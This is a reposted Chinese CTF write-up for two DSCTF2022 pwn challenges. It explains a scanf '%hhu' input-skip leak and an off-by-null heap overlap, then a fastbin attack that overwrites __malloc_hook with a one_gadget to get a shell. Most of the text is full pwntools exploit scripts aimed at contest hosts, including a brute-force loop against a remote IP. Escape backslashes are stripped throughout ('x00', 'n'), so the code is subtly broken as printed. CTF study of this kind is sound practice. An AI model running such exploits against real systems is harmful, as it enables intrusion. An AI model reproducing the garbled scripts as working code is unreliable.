资讯 小学 初中 高中 语言 会计职称 学历提升 法考 计算机考试 医护考试 建工考试 教育百科
栏目分类:
子分类:
返回
空麓网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
空麓网 > 计算机考试 > 软件开发 > 后端开发 > Python

【DSCTF2022】pwn补题记录

Python 更新时间: 发布时间: 计算机考试归档 最新发布

【DSCTF2022】pwn补题记录

fuzzerinstrospector

题目的功能很好分析,但是漏洞点之前没有见过,根据程序流程发现是scanf("%hhu"&x);存在漏洞,可以再每次新申请堆的时候跳过写入内容,保留原有堆的值。%hhu代表unsigned char,在输入为±符号的时候,输入是跳过的,并且不影响后续的程序流
我的解题思路

  • 第一步:申请9个堆,然后释放9个堆,让tcache的队列填满
  • 第二步:申请7个堆,这个时候tcache会在最开始接近top chunk的7、8编号堆进行合并,并且保留main_arena地址
  • 第三步:利用scanf的漏洞保留main_arena值,并且通过map表泄露
  • 第四步:利用隐藏的功能实现system函数调用
# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def FuzzerBitmap_Creatio(index,content,bitmap,mod):
	conn.recvuntil("Your choice:")
	conn.sendline("1")
	conn.recvuntil("Index:")
	conn.sendline(str(index))
	for i in range(0,8):
		conn.recvuntil(":")
		if mod:
			conn.sendline(str(ord(content[i])))
		else:
			conn.sendline(content[i])
	conn.recvuntil("Bitmap:")
	conn.send(bitmap.ljust(0x100,"x00"))


def Edit_FuzzerBitmap(index,content,bitmap):
	conn.recvuntil("Your choice:")
	conn.sendline("2")
	conn.recvuntil("Index:")
	conn.sendline(str(index))
	for i in range(0,8):
		conn.recvuntil(":")
		conn.sendline(str(ord(content[i])))
	conn.recvuntil("Bitmap:")
	conn.send(bitmap.ljust(0x100,"x00"))


def Check_FuzzerBitmap(index):
    conn.recvuntil("Your choice:")
    conn.sendline("3")
    conn.recvuntil("Index:")
    conn.sendline(str(index))


def Delete_FuzzerBitmap(index):
    conn.recvuntil("Your choice:")
    conn.sendline("4")
    conn.recvuntil("Index:")
    conn.sendline(str(index))

def Attack(paylaod):
    conn.recvuntil("Your choice:")
    conn.sendline("6")
    conn.sendline(str(paylaod))

if __name__ == '__main__':
	HOST = '39.105.185.193'
	PORT = 30007
	conn = remote(HOST ,PORT)
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so','./ciscn_final_3'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'})
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./mrctf2020_shellcode_revenge'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
	#conn = process("./fuzzerinstrospector")  
	#pwnlib.gdb.attach(conn,"b main") #b *0x400ECF
	pause()
	table = ""
	for i in range(0,256):
		table += chr(i)
	FuzzerBitmap_Creatio(0,"A"*8,table,1)
	FuzzerBitmap_Creatio(1,"B"*8,table,1)
	FuzzerBitmap_Creatio(2,"C"*8,table,1)
	FuzzerBitmap_Creatio(3,"D"*8,table,1)
	FuzzerBitmap_Creatio(4,"D"*8,table,1)
	FuzzerBitmap_Creatio(5,"D"*8,table,1)
	FuzzerBitmap_Creatio(6,"D"*8,table,1)
	FuzzerBitmap_Creatio(7,"D"*8,table,1)
	FuzzerBitmap_Creatio(8,"D"*8,table,1)
	
	Delete_FuzzerBitmap(0)
	Delete_FuzzerBitmap(1)
	Delete_FuzzerBitmap(2)
	Delete_FuzzerBitmap(3)
	Delete_FuzzerBitmap(4)
	Delete_FuzzerBitmap(5)
	Delete_FuzzerBitmap(6)
	Delete_FuzzerBitmap(7)
	Delete_FuzzerBitmap(8)
	
	FuzzerBitmap_Creatio(0,"+"*8,table,0)
	FuzzerBitmap_Creatio(1,"+"*8,table,0)
	FuzzerBitmap_Creatio(2,"+"*8,table,0)
	FuzzerBitmap_Creatio(3,"+"*8,table,0)
	FuzzerBitmap_Creatio(4,"+"*8,table,0)
	FuzzerBitmap_Creatio(5,"+"*8,table,0)
	FuzzerBitmap_Creatio(6,"+"*8,table,0)
	FuzzerBitmap_Creatio(7,"+"*8,table,0)
	#FuzzerBitmap_Creatio(8,"+"*8,table,0)
	
	
	Check_FuzzerBitmap(7)
	conn.recvuntil("Bitmap set:")
	main_arena_leak = ""
	for x in range(8):
		conn.recvuntil("Bit: ")
		one_bit = conn.recvuntil("n",drop=True)
		main_arena_leak += chr(int(one_bit))
	main_arena_leak = u64(main_arena_leak)
	print "The main_arena_leak is",hex(main_arena_leak)
	
	libc = LibcSearcher("__malloc_hook",main_arena_leak - 96 -0x10)
	libc_base = main_arena_leak - 96 -0x10 - libc.dump("__malloc_hook")
	onegadget = libc_base + 0x4f302
	system = libc_base + libc.dump("system")
	print "The libc base is",hex(libc_base)
	print "The onegadget is",hex(onegadget)

	Edit_FuzzerBitmap(0,"/bin/shx00",table)
	Attack(system)

	pause()
	conn.interactive()
rusty(非预期解法)

碰到这个题目的时候确实是比较懵的,rust程序没有接触过,基本上都是去符号的二进制文件,分析比较复杂。下面详细讲讲我再比赛后的解题路程

第一步:先需要定位程序的主函数,并且了解程序的主要功能
省略分析过程,其实从main函数一路就可以定位,关键函数的位置在0xC3F0位置,从上到下审阅,可以看出来第一个输入的应该一个不大于4的数字。在往后因为反汇编显示用了JMP进行跳跃,所以IDA解析不出来,我没有静态再去分析,主要靠动态调试进行测试,最后得到了函数的主要功能和特点

  • 功能1:创建堆块,申请堆块大小不超过0x100,并且经过审查使用的是calloc函数,所以申请的堆块会格式化堆内容(这导致了常规的leak libc更加困难)
  • 功能2:编辑堆块,经过测试这个编辑功能存在一比特溢出,我们可以通过此构造off-by-one或者是off-by-null
  • 功能3:释放堆块,经过测试发现,我们不能直接操作释放哪一个堆块,程序会根据申请堆的先后从后往前free堆块(不能操作释放哪个堆块使得堆溢出更加困难)
  • 功能4:打印堆块内容,前提是堆块必须存在,不存在UAF利用
  • 上述4个功能,只要碰到不符合程序流程的部分,会直接exit

在详细的了解后,发现使用off-by-one实现overlapping是非常困难的,主要还是因为free不能控制,off-by-one基本上是向后操作的,因此需要考虑别的方法。

经过Loτυs师傅的指点,发现还是需要使用off-by-null的方法
大家可以去看师傅的原文,我这里会详细分析一下原理
https://blog.csdn.net/Invin_cible/article/details/125812355?spm=1001.2014.3001.5501

因为没有环境了,我主要实现在本地的测试哈,先上整体的程序代码

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def cteate_heap(size):
    conn.recvuntil("Command:")
    conn.sendline("1")
    conn.recvuntil("Size:")
    conn.sendline(str(size))

def edit_heap(index,len,content):
    conn.recvuntil("Command:")
    conn.sendline("2")
    conn.recvuntil("Idx:")
    conn.sendline(str(index))
    conn.recvuntil("Len:")
    conn.sendline(str(len))
    conn.recvuntil("Data:")
    conn.sendline(str(content))

def free_heap():
    conn.recvuntil("Command:")
    conn.sendline("3")

def show_heap(index):
    conn.recvuntil("Command:")
    conn.sendline("4")
    conn.recvuntil("Idx:")
    conn.sendline(str(index))

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 26100
    #conn = remote(HOST ,PORT)
    conn = process("./rusty")  
    #pwnlib.gdb.attach(conn,"b main") #b *0x400ECF
    pause()

    '''第一步:通过构造大小为0x88、0x100、0x68,先把tcache填满'''
    [cteate_heap(0x88) for x in range(7)]   #0-6
    
    #这里用了9个0x100堆,就是想通过剩余的两个合并成0x200大小的unsorted bin
    [cteate_heap(0x100) for x in range(9)]  #7-15

    #这里用了8个0x68堆,是为了有一个放入fastbin中,并且在后续想办法利用它实现fastbin attack
    [cteate_heap(0x68) for x in range(8)]   #16-23
    [free_heap() for x in range(17)]        

    '''第二步:此时存在0x200大小的unsorted bin,申请2个堆使之剩下一个被切割的大小为0x90的块(含头),为了后续可以继续连续申请大小为0xf8的堆块'''
    cteate_heap(0x88)       #7
    cteate_heap(0x100)      #8
    
    '''第三步:连续申请9个0xf8的堆块,释放7个,再通过篡改第2个堆内容实现off-by-null'''
    [cteate_heap(0xf8) for x in range(9)]   #9-17
    [free_heap() for x in range(7)]

    payload = "x00"*0xf0 + p64(0x80+0x110*7+0x70*8+0x100) + "x00"
    edit_heap(9,len(payload),payload)
    free_heap()         #off by null success!!!  free 10!!!
    
    '''第四步:这一步猛一看为什么构造的这么复杂?是为了错开原本的对结构,使得新生成的堆头处于原本堆的中部'''
    cteate_heap(0x70)   #10
    [cteate_heap(0x100) for x in range(6)]  #11-16
    [cteate_heap(0xa0) for x in range(2)]   #17-18
    [cteate_heap(0xc8) for x in range(4)]   #19-22
    show_heap(9)

    conn.recvuntil("x7f")
    conn.recv(2)
    leak = conn.recvuntil("x7f")
    leak = leak.decode("utf-8").ljust(8,"x00")
    leak = u64(leak)
    print "The libc leak is",hex(leak)

    __malloc_hook = leak - 96 - 0x10
    libc = LibcSearcher("__malloc_hook",__malloc_hook)
    libc_base = __malloc_hook - libc.dump("__malloc_hook")
    one_gadget = libc_base + 0x4f302
    realloc = libc_base + libc.dump("realloc")
    print "The malloc hook is",hex(__malloc_hook)
    print "The libc base is",hex(libc_base)
    print "The onegadget is",hex(one_gadget)

    '''第五步:修改新申请的堆块内容,实现fastbin attack'''
    cteate_heap(0xa0)   #23
    cteate_heap(0x90)   #24
    cteate_heap(0x90)   #25
    payload = "x00"*0x58 + p64(0x71)+p64(__malloc_hook-0x23)       #18
    edit_heap(18,len(payload),payload)
    show_heap(9)
    cteate_heap(0x68)   #26
    cteate_heap(0x68)   #27
    
    '''第六步:修改malloc hook实现onegadget'''
    payload = "x00"*0xb + p64(0) + p64(one_gadget)
    edit_heap(27,len(payload),payload)

    pause()
    conn.interactive()

之后我们分步骤讲解
第一步:通过构造大小为0x88、0x100、0x68,先把tcache填满
通过第一步构造,此时我们的堆空间是这样的

|------------------------|
|         7个0x90        |    
|------------------------|   	# 这里以下↓都是被释放的,以上↑是未被释放的
|         2个0x110       |  	# 这两个0x110的堆块合并成了一个0x220的unsorted bin
|------------------------|		
|         7个0x110       |  	# 这里填满了tcache
|------------------------|
|         8个0x70        |    	# 这里填满了tcache  
|------------------------|

第二步:此时存在0x220大小的unsorted bin,申请2个堆使之剩下一个被切割的大小为0x80的块(含头)
这一步是必须的,因为我们再申请堆块会优先从unsorted bin上申请,为了后面正常申请大小为0xf8的堆块,必须先把这个0x220的堆块切割变小,直至小于0x100

第三步:连续申请9个0xf8的堆块,释放7个,再通过篡改第2个堆内容实现off-by-null
在[free_heap() for x in range(7)]之后,我们的堆空间已经变成了

|------------------------|
|         7个0x90        |    
|------------------------|   	# 这里以下↓都是被释放的,以上↑是未被释放的
|          0x90          |  	# 用于切割0x220的unsorted bin
|------------------------|		
|          0x110         |		# 用于切割0x220的unsorted bin
|------------------------|		
|          0x80          |  	# 切割后剩余的0x80的unsorted bin
|------------------------|		
|         7个0x110       |  	# 填满了tcache
|------------------------|
|         8个0x70        |		# 填满了tcache,并且生成一个fastbin      
|------------------------|
|         2个0x100       |      # 这两个是没有被释放的,用于实现off-by-one
|------------------------|
|         7个0x100       |      # 填满了tcache
|------------------------|

通过修改第9个块,影响第10个块,经过计算使得pre_size指向被切割后的unsorted bin,具体的计算过程看代码应该是很清楚的
在free(10)之后,堆结构就变成了

|------------------------|
|         7个0x90        |    
|------------------------|   	# 这里以下↓都是被释放的,以上↑是未被释放的
|          0x90          |  	# 用于切割0x220的unsorted bin
|------------------------|		
|          0x110         |		# 用于切割0x220的unsorted bin
|------------------------|		
|        合并后的块       |  	# 合并后的内容,大小为0x80 + 7*0x110 + 8*0x70 + 2*0x100,我们未被释放的是堆块9,位置在0x80 + 7*0x110 + 8*0x70
|------------------------|
|         7个0x100       |      # 填满了tcache
|------------------------|

第四步:不断申请堆块,使得将大的unsorted bin切割至与第9块平齐
这一步有一个大坑,就是切割的过程中,需要将新申请的堆头避开原有的堆头,否则会破坏原有堆结构并且报错,所以才会歪七扭八的申请这么多堆

    cteate_heap(0x70)   #10
    [cteate_heap(0x100) for x in range(6)]  #11-16
    [cteate_heap(0xa0) for x in range(2)]   #17-18
    [cteate_heap(0xc8) for x in range(4)]   #19-22
    show_heap(9)

然后就可以泄露libc地址了

第五步:实现fastbin attack
这个就不多说,新申请的堆块去修改在fastbin链上的堆块,实现fastbin attack,在malloc hook修改onegadget
至此本地调试结束,大佬说本地调通很简单,因为还有其他问题…

真实环境中坑点1:堆风水
大佬说真实环境中还有堆风水的问题,他是把环境配置成ubuntu18更新libc来测试的,解决了堆风水问题

真实环境中坑点2:malloc hook附近找可申请的x7f与本地不同

这个大佬说内存地址情况和本地也不一样,大佬用的爆破的方法,最终成功了。记录一下大佬的代码

from pickle import TRUE
from pwn import *
from time import sleep
# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r = process('/home/cru5h/bin/2022/11/rusty')
# r = remote('39.105.187.159',30008)
libc = ELF('/home/cru5h/bin/2022/11/libc-2.27.so')

def menu(choice):
    r.recvuntil(b'Command:')
    r.sendline(str(choice))

def add(size):
    menu(1)
    r.recvuntil(b'Size: ')
    r.sendline(str(size))

def edit(index,size,content):
    menu(2)
    r.recvuntil(b'Idx: ')
    r.sendline(str(index))
    r.recvuntil(b'Len: ')
    r.sendline(str(size))
    r.recvuntil(b'Data: ')
    r.sendline(content)

def delete():
    menu(3)

def show(index):
    menu(4)
    r.recvuntil(b'Idx: ')
    r.sendline(str(index))

def pwn(i):
    r.recvuntil(b'Let's build a rusty house!n')
    stack_addr = int(r.recvuntil(b'n')[:-1],16)

    [add(0x88) for i in range(8)] #0-7
    [add(0x100) for i in range(9)]#8-16
    [add(0x68) for k in range(8)]#17-24
    [delete() for j in range(17)]
    add(0x80)#8
    add(0x100)#9

    [add(0xf8) for k in range(9)]#10-18
    [delete() for l in range(7)]
    edit(10,0xf9,b'a'*0xf0+p64(0xc70)+b'x00')#9-11 exists

    delete()
    add(0x70)#11
    [add(0x100) for o in range(6)]#12-17
    add(0xf0)#18
    [add(0x60*2) for o in range(4)]#19-22
    add(0x40)#23
    
    show(10)

    r.recvuntil(b'Data: ')
    # something= r.recvuntil(b'x7f')[-6:].decode('utf8')
    # print(something)
    r.recv(2)
    # res = r.recvuntil(b'x7f')
    # print(res)
    # print(len(res))
    # libc_base = u64(res.ljust(8,'x00')) - 0x3ebca0

    libc_base = u64(r.recvuntil(b'x7f').decode('utf8').ljust(8,'x00'))
    libc_base = (libc_base<<8)+0xa0-0x3ebca0
    print(hex(libc_base))
    one_gadget = libc_base+0x4f302
    malloc_hook = libc_base+libc.sym["__malloc_hook"]
    print(hex(malloc_hook))
    # edit(19,0x40,p64(0)+p64(0x71)+p64(malloc_hook-0xb-0x8))
    
    edit(19,0x40,p64(0)+p64(0x71)+p64(malloc_hook-0xb-0x8 - 0x48 +i))
    # gdb.attach(r)
    add(0x60)#24
    add(0x68)#25
    edit(25,0x20+0x48-i,b'g'*(0xb-8 +0x48-i)+p64(one_gadget))
    # pause()
    
    # log.success("libc_base: "+hex(libc_base))
    # gdb.attach(r)
    menu(1)
    r.interactive()


for i in range(0x60):
    r = remote('39.105.187.159',30008)
    try:
        print(i)
        pwn(i)
        
    except EOFError:
        r.close()
————————————————
版权声明:本文为CSDN博主「Loτυs」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Invin_cible/article/details/125812355

真的不得不说Loτυs真的强,以至于我觉这个非预期解比站撸rust结构体带劲多了…orz…

转载请注明:文章转载自 http://www.konglu.com/
本文地址:http://www.konglu.com/it/1025798.html
免责声明:

我们致力于保护作者版权,注重分享,被刊用文章【【DSCTF2022】pwn补题记录】因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理,本文部分文字与图片资源来自于网络,转载此文是出于传递更多信息之目的,若有来源标注错误或侵犯了您的合法权益,请立即通知我们,情况属实,我们会第一时间予以删除,并同时向您表示歉意,谢谢!

我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2023 成都空麓科技有限公司

ICP备案号:蜀ICP备2023000828号-2